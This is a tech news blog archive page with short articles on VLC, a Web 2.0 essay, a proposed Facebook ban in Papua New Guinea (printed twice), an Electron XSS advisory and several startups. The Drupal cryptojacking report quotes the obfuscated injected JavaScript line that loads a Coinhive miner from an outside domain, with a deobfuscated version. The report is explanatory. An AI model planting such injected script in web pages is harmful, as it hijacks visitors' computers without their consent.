Category Archives: Software

VLC prepares to add AirPlay support as it crosses 3 billion downloads

VLC, the hugely popular media playing service, is filing one of its gaps with the addition of AirPlay support as its just crossed an incredible three billion users.

The new feature was revealed by Jean-Baptiste Kempf, one of the service’s lead developers, in an interview with Variety at CES and it will give users a chance to beam content from their Android or iOS device to an Apple TV. The addition, which is due in the upcoming version 4 of VLC, is the biggest new feature since the service added Chromecast support last summer.

But that’s not all that the dozen or so people on the VLC development team are working on.

In addition, Variety reports that VLC is preparing to add enable native support for VR content. Instead of SDKs, the team has reversed engineered popular hardware to offer features that will include the option to watch 2D content in a cinema-style environment. There are also plans to bring the service to more platforms, with VentureBeat reporting that the VLC team is eying PlayStation 4, Nintendo Switch and Roku devices.

VLC, which is managed by non-profit parent VideonLAN, racked up its 3 millionth download at CES, where it celebrated with the live ticker pictured above. The service reached one billion downloads back in May 2012, which represents incredible growth for a venture that began life as a project from Ecole Centrale Paris students in 1996.

The erosion of Web 2.0

It seems quaint to imagine now but the original vision for the web was not an information superhighway. Instead, it was a newspaper that fed us only the news we wanted. This was the central thesis brought forward in the late 1990s and prophesied by thinkers like Bill Gates – who expected a beautiful, customized “road ahead” – and Clifford Stoll who saw only snake oil. At the time, it was the most compelling use of the Internet those thinkers thought possible. This concept – that we were to be coddled by a hive brain designed to show us exactly what we needed to know when we needed to know it – continued apace until it was supplanted by the concept of User Generated Content – UGC – a related movement that tore down gatekeepers and all but destroyed propriety in the online world.

That was the arc of Web 2.0: the move from one-to-one conversations in Usenet or IRC and into the global newspaper. Further, this created a million one-to-many conversations targeted at tailor-made audiences of fans, supporters, and, more often, trolls. This change gave us what we have today: a broken prism that refracts humanity into none of the colors except black or white. UGC, that once-great idea that anyone could be as popular as a rock star, fell away to an unmonetizable free-for-all that forced brands and advertisers to rethink how they reached audiences. After all, on a UGC site it’s not a lot of fun for Procter & Gamble to have Downy Fabric Softener advertised next to someone’s racist rant against Muslims in a Starbucks .

Still the Valley took these concepts and built monetized cesspools of self-expression. Facebook, Instagram, YouTube, and Twitter are the biggest beneficiaries of outrage culture and the eyeballs brought in by its continuous refreshment feed their further growth. These sites are Web 2.0 at its darkest epitome, a quiver of arrows that strikes at our deepest, most cherished institutions and bleeds us of kindness and forethought.

So when advertisers faced either the direct monetization of random hate speech or the erosion of customer privacy, they choose the latter. Facebook created lookalike audiences that let advertisers sell to a certain subset of humanity on a deeply granular level, a move that delivered us the same shoe advertisement constantly, from site to site, until we were all sure we had gone mad. In the guise of saving our sanity further we invited always-on microphones into our homes that could watch our listening and browsing habits and sell to us against them. We gave up our very DNA to companies like Ancestry and 23andMe, a decision that mankind may soon regret. We shared everything with everyone in the grand hope that our evolution into homo ligarus – the networked man – would lead us to become homo deus.

This didn’t happen.

And so the pendulum swings back. The GDPR, as toothless as it is, is a wake up call to every spammer that ever slammed your email or followed you around the web. Further, Apple’s upcoming cookie control software in Safari should make those omnipresent ads disappear, forcing the advertiser to sell to an undifferentiated mob rather than a single person. This is obviously cold comfort in an era defined by both the reification of the Internet as a font for all knowledge (correct or incorrect) and the genesis of an web-based political cobra that whips back to bite its handlers with regularity. But it’s a start.

We are currently in an interstitial period of technology, a cake baked of the hearty camaraderie and “Fuck the system” punk rock Gen X but frosted with millennial pragmatism and desire for the artisanal. As we move out of the era of UGC and Web 2.0 we will see the old ways cast aside, the old models broken, and the old invasions of privacy inverted. While I won’t go as far to say that blockchain will save us all, pervasive encryption and full data control will pave the way toward true control of our personal lives as well as the beginnings of a research-based minimum income. We should be able to sell our opinions, our thoughts, and even our DNA to the highest bidder and once the rapacious Web 2.0 vultures are all shooed away, we will find ourselves in an interesting new world.

As a technoutopianist I’m sure that were are heading in the right direction. We are, however, taking turns that none of us could have imagined in the era of Clinton and the fax machine and there are still more turns to come. Luckily, however, we are coming out of our last major skid.

 

Photo by George Fitzmaurice on Unsplash

Papua New Guinea threatens to close Facebook for a month to investigate its harmful impact

Facebook is proving problematic for many governments worldwide, but few would think to shut it down entirely.

That’s exactly the approach that Papua New Guinea, the Pacific sea island nation located near Australia, is proposing to take with a new measure that could see the social network closed off for a month. During that period, the government plans to investigate the impact of fake accounts, pornography and false news and information which it said are rife on the social network in the country.

The prospect of a month-long ban was announced by Papua New Guinea’s communications minister Sam Basil who told Post Courier that the government “cannot allow the abuse of Facebook to continue in the country.”

Internet penetration in the country is thought to be less than 15 percent, which suggests at face value that Facebook isn’t particularly mainstream. However, that may not be an accurate measure of how many of the country’s eight million population use the social network since mobile is the primary access point in many parts of Asia Pacific. Still, the ban is unlikely to be welcomed by the population.

Post Courier reported that Basil even floated the idea of a dedicated social network to replace Facebook in the country.

At this point, the Facebook ban — however delicious it may sound given recent events — is not confirmed for Papua New Guinea. It remains a possibility once Basil has liaised with police, according to the media report.

Our attempts to reach Basil via phone and email to confirm the plan were not successful.

Facebook has been under fierce pressure around the way it handles data for its 1.5 billion users after it emerged that Cambridge Analytica, a consulting firm that worked on the successful Trump election campaign, hijacked data on nearly 90 million users of the social network.

The aftermath of the scandal has seen Facebook CEO Mark Zuckerberg testify on data security and processes in front of Congress and the House in the U.S., as well as the EU parliament in Europe.

Meanwhile, and of equal importance, Facebook has also been engaged in controversies in the emerging world. The UN has accused it of accelerating racial violence in Myanmar, while the service was closed for three days in Sri Lanka to stop anti-muslim violence. In the Philippines, it has been scrutinized for helping controversial President Rodrigo Duterte into power, while Vietnamese activists have expressed concern that it is helping the government crack down on people in the country.

Papua New Guinea threatens to close Facebook for a month to investigate its harmful impact

Facebook is proving problematic for many governments worldwide, but few would think to shut it down entirely.

That’s exactly the approach that Papua New Guinea, the Pacific sea island nation located near Australia, is proposing to take with a new measure that could see the social network closed off for a month. During that period, the government plans to investigate the impact of fake accounts, pornography and false news and information which it said are rife on the social network in the country.

The prospect of a month-long ban was announced by Papua New Guinea’s communications minister Sam Basil who told Post Courier that the government “cannot allow the abuse of Facebook to continue in the country.”

Internet penetration in the country is thought to be less than 15 percent, which suggests at face value that Facebook isn’t particularly mainstream. However, that may not be an accurate measure of how many of the country’s eight million population use the social network since mobile is the primary access point in many parts of Asia Pacific. Still, the ban is unlikely to be welcomed by the population.

Post Courier reported that Basil even floated the idea of a dedicated social network to replace Facebook in the country.

At this point, the Facebook ban — however delicious it may sound given recent events — is not confirmed for Papua New Guinea. It remains a possibility once Basil has liaised with police, according to the media report.

Our attempts to reach Basil via phone and email to confirm the plan were not successful.

Facebook has been under fierce pressure around the way it handles data for its 1.5 billion users after it emerged that Cambridge Analytica, a consulting firm that worked on the successful Trump election campaign, hijacked data on nearly 90 million users of the social network.

The aftermath of the scandal has seen Facebook CEO Mark Zuckerberg testify on data security and processes in front of Congress and the House in the U.S., as well as the EU parliament in Europe.

Meanwhile, and of equal importance, Facebook has also been engaged in controversies in the emerging world. The UN has accused it of accelerating racial violence in Myanmar, while the service was closed for three days in Sri Lanka to stop anti-muslim violence. In the Philippines, it has been scrutinized for helping controversial President Rodrigo Duterte into power, while Vietnamese activists have expressed concern that it is helping the government crack down on people in the country.

Music payments startup Exactuals debuts R.AI, a “Palantir for music royalties”

Exactuals, a software service offering payments management for the music industry, is debuting R.AI, a new tool that it’s dubbed the “Palantir for music”. It’s a service that can track songwriting information and rights across different platforms to ensure attribution for music distributors.

As companies like Apple and Spotify demand better information from labels about the songs they’re pushing to streaming services, companies are scrambling to clean up their data and provide proper attribution.

According to Exactuals, that’s where the r.ai service comes in.

The company is tracking 59 million songs for their “Interested Party Identifiers” (IPIs), International Standard Work Codes (ISWCs), and International Standard Recording Codes (ISRCs) — all of which are vital to ensuring that songwriters and musicians are properly paid for their work every time a song is streamed, downloaded, covered, or viewed on a distribution platform.

Chris McMurtry, the head of music product at Exactuals explained it like this. In the music business, songwriters have the equivalent of a social security number which is attached to any song they write so they can receive credit and payment. That’s the ISI. Performers of songs have their own identifier, which is the ISWC. Then the song itself gets its own code, called the ISRC which is used to track a song as it’s performed by other artists through various covers, samples and remixes.

“There’s only one ISWC, but there might be 300 ISRCs,” says Exactuals chief executive, Mike Hurst.

Publishing technology companies will pay writers and performers based on these identifiers, but they’re struggling to identify and track all of the 700,000 disparate places where the data could be, says McMurtry. Hence the need for r.ai.

 

The technology is “an open api based on machine learning that matches disparate data sources to clean and enhance it so rights holders can get paid and attribution happens,” says McMurtry.

For publishers, Exactuals argues that r.ai is the best way to track rights across a huge catalog of music and for labels it’s an easy way to provide services like Apple and Spotify with the information they’re now demanding, Hurst said.

Exploit puts popular web and mobile apps at risk

A new exploit could allow users to bypass security checks in Electron, a popular cross-platform development framework. The exploit, posted by Trustwave, has been patched and developers should update their apps as soon as possible.

The exploit could allow cross site scripting in some apps by turning on nodeIntegration, a method that allows the app to not only connect to its own modules but also Node.js modules.

From the announcement:

Electron applications are essentially web apps, which means they’re susceptible to cross-site scripting attacks through failure to correctly sanitize user-supplied input. A default Electron application includes access to not only its own APIs, but also includes access to all of Node.js’ built in modules. This makes XSS particularly dangerous, as an attacker’s payload can allow do some nasty things such as require in the child_process module and execute system commands on the client-side. Atom had an XSS vulnerability not too long ago which did exactly that. You can remove access to Node.js by passing nodeIntegration: false into your application’s webPreferences.

Many popular apps use Electron including Discord, Signal, Visual Studio Code, and Github . Slack also uses Electron for its apps.

The exploit depends on the nodeIntegration setting and the process of opening a new window. While in most cases nodeIntegration is set to false, in some cases you can set nodeIntegration to true and then pass other nefarious scripts including calling the child_process module which lets you make system calls like spawn which then lets you run commands in the operating system.

You can see Electron’s website here and here is their blog post on the update. Most apps shouldn’t be effected as long as you’ve upgraded the platform in the last few weeks.

Outdated website software lets hackers mine cryptocurrencies at your expense

An outdated version of Drupal, a popular content management system, let hackers mine the cryptocurrency Monero on over 300 websites including the websites for the “San Diego Zoo and the government of Chihuahua, Mexico.” A report by Troy Mursch outlined how the hack worked and even showed how much processing power browsers began taking up when they pointed at the hacked sites.

The hack uses a form of code injection that forces the browser to run Coinhive, a small bit of Javascript-based mining software. The code mines Monero, the ostensibly anonymous cryptocurrency.

The hacked sites all pointed to a URL – “http://vuuwd.com/t.js” – where Coinhive lived. The browser ran the software and began using up CPU power to mine the coin.

Mursch performed a comprehensive search for potentially affected sites and narrowed things down to about 350 sites, all of them running older versions of Drupal.

“The affected sites varied by hosting providers and countries and no specific one appeared to be targeted. The most unique domains were found in the United States and were hosted by Amazon,” he wrote.

The code appears at the end of jquery.once.js and is still visible on this site. It consists of a single line:

var dZ1= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x73\x42\x79\x54\x61\x67\x4e\x61\x6d\x65"]('\x68\x65\x61\x64')[0]; var ZBRnO2= window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]('\x73\x63\x72\x69\x70\x74'); ZBRnO2["\x74\x79\x70\x65"]= '\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74'; ZBRnO2["\x69\x64"]='\x6d\x5f\x67\x5f\x61';ZBRnO2["\x73\x72\x63"]= '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x75\x77\x64\x2e\x63\x6f\x6d\x2f\x74\x2e\x6a\x73'; dZ1["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ZBRnO2);

Which, deobfuscated, translates to:

'use strict';
var dZ1 = window["document"]"getElementsByTagName"[0];
var ZBRnO2 = window["document"]"createElement";
/** @type {string} */
ZBRnO2["type"] = "text/javascript";
/** @type {string} */
ZBRnO2["id"] = "m_g_a";
/** @type {string} */
ZBRnO2["src"] = "https://vuuwd.com/t.js";
dZ1"appendChild";

The domain it calls, vuuwd.com, is down.

BadPackets has a full list of the hacked websites and, as evidenced by the lines above, it doesn’t seem that many folks are rushing to fix their sites. A canonical list appears here.”

“Notable sites include those of Lenovo, UCLA, DLink (Brazil), and Office of Inspector General of the U.S. Equal Employment Opportunity Commission (EEOC) — a US federal government agency,” wrote Mursch.

Kaptivo looks to digitally transform the lowly whiteboard

At Kaptivo, a company that’s bringing high-tech image recognition, motion capture and natural language processing technologies to the lowly whiteboard, executives are hoping that the second time is the charm.

The Cambridge, UK and San Mateo, Calif.-based company began life as a company called Light Blue Optics, and had raised $50 million in financing since its launch in 2004. Light Blue Optics was working on products like Kaptivo’s white board technology and an interactive touch and pen technology which was sold earlier in the year to Promethean, a global education technology solutions company.

With a leaner product line and a more focused approach to the market, Kaptivo emerged in 2016 from Light Blue Optics’ shadow and began selling its products in earnest.

Founding chief executive Nic Lawrence (the previous head of Light Blue Optics, even managed to bring in investors from his old startup to Kaptivo, raising $6 million in fresh capital from Draper Esprit (a previous backer), Benhamou Global Ventures, and Generation Ventures.

“The common theme has been user interfaces,” Lawrence said. “We saw the need for a new product category. We sold off parts of our business and pushed all our money into Kaptivo.”

 

What initially began as a business licensing technology, Lawrence saw a massive market opening up in technologies that could transform the humble whiteboard into a powerful tool for digital business intelligence with the application of some off the shelf technology and Kaptivo’s proprietary software .

Kaptivo’s technology does more than just create a video of a conference room, Lawrence says.

“In real time we’re removing the people from the scene and enhancing the content written on the board,”  he said. ”

Optical character recognition allows users to scribble on a white board and Kaptivo’s software will differentiate between text and images. The company’s subscription service even will convert text to other languages.

The company has a basic product and a three year cloud subscription that it sells for $999. That’s much lower than the thousands of dollars a high-end smart conferencing system would cost, according to Lawrence. The hardware alone is $699 and a one-year subscription to its cloud services sells for $120, Lawrence said.

Kaptivo sold over 2000 devices globally already and has secured major OEM partners like HP, according to a statement. Kaptivo customers include BlueJeans, Atlassian, and Deloitte, as well as educational institutions including George Washington University, Stanford University, and Florida Institute of Technology.

The product is integrated with Slack and Trello and Blue Jeans video conferencing, Lawrence said. In the first quarter of 2018 alone, the company has sold about 5,000 units.

The vision is “to augment every existing whiteboard,” Lawrence said. “You can bring [the whiteboard] into the 21st century with one of these. Workers can us their full visual creativity as part of a remote meeting.”

RapChat raises $1.6 million to help you make and share your def jams

The first thing to understand about media sharing app RapChat is that co-founder Seth Miller is not a rapper and his friend, Pat Gibson, is. Together they created RapChat, a service for making and sharing raps, and the conjunction of rapper and nerd seems to be really taking off.

Since we last looked at the app in 2016 (you can see Tito’s review below), a lot has changed. The team has raised $1.6 million in funding from investors out of Oakland and the midwest. Their app, which is sort of a musical.ly for rap, is a top 50 music app on iOS and Android and hit 100 million listens since launch. In short, their little social network/sharing platform is a “millionaire in the making, boss of [its] team, bringin home the bacon.”

The pair’s rap bonafides are genuine. Gibson has opened or performed with with Big Sean, Wiz Khalifa, and Machine Gun Kelly and he’s sold beats to MTV. “My music has garnered over 20M+ plays across YouTube, SoundCloud and more,” he wrote me, boasting in the semi-churlish manner of a rapper with a “beef.” Miller, on the other hand, likes to freestyle.

“I grew up loving to freestyle with friends at OU and I noticed lots of other millennials did this too (even if most suck lol) … at any party at 3am – there would always be a group of people in the corner freestyling,” he said. “At the same time Snapchat was blowing up on campus and just thought you should be able to do the same exact thing for rap.”

Gibson, on the other hand, saw it as a serious tool to help him with his music.

“I spent a lot of time, energy and resources making music,” he said. “I was producing the beats, writing the songs, recording/mixing the vocals, mastering the project, then distributing & promoting the music all by myself. With Rapchat, there’s a library of 1,000+ beats from top producers, an instant recording studio in your pocket, and the network to distribute your music worldwide and be discovered…. all from a free app. Rapchat is disrupting the creation, collaboration, distribution, & discovery of music via mobile

“We have a much bigger but also more active community than any other music creation app,” said Miller.

While it’s clear the wold needs another sharing platform like it needs a hole in the head, thanks to a rabid fanbase and a great idea the team has ensured that RapChat is not, as they say, wicka-wicka-whack. That, in the end, is all that matters.

GoPro launches Trade-Up program to swap old cameras for discounts

GoPro is willing to take that old digital camera stuffed in your junk drawer even if it’s not a GoPro. Through a program called Trade-Up, the camera company will discount the GoPro H6 Black $50 and Fusion $100 when buyers trade in any digital camera. The company tried this last year for 60 days, but as of right now, GoPro is saying this offer does not expire.

This offer works with any digital camera including old GoPros. It clearly addresses something we noticed years ago — there’s often little reason to buy a new GoPro because their past products were so good.

GoPro tried this in 2017 for 60 days and says 12,000 customers took advantage of the program.

The service is reminiscent of what wireless carries do to encourage smartphone owners to buy new phones. It’s a clever solution though other options could net more money. Users could sell their camera on ebay or use other trade-in programs. Best Buy lets buyers trade in old cameras, too, and currently gives $60 for a GoPro Hero3+ Black and $55 for a HD Hero 960.

GoPro is in a tough position and this is clearly a plan to spur sales. The company’s stock is trading around an all-time low after a brief upswing following a report that Chinese electronic maker Xiaomi was considering buying the company. The company also recently started licensing its camera technology and trimmed its product line while introducing a new, $200 camera.

 

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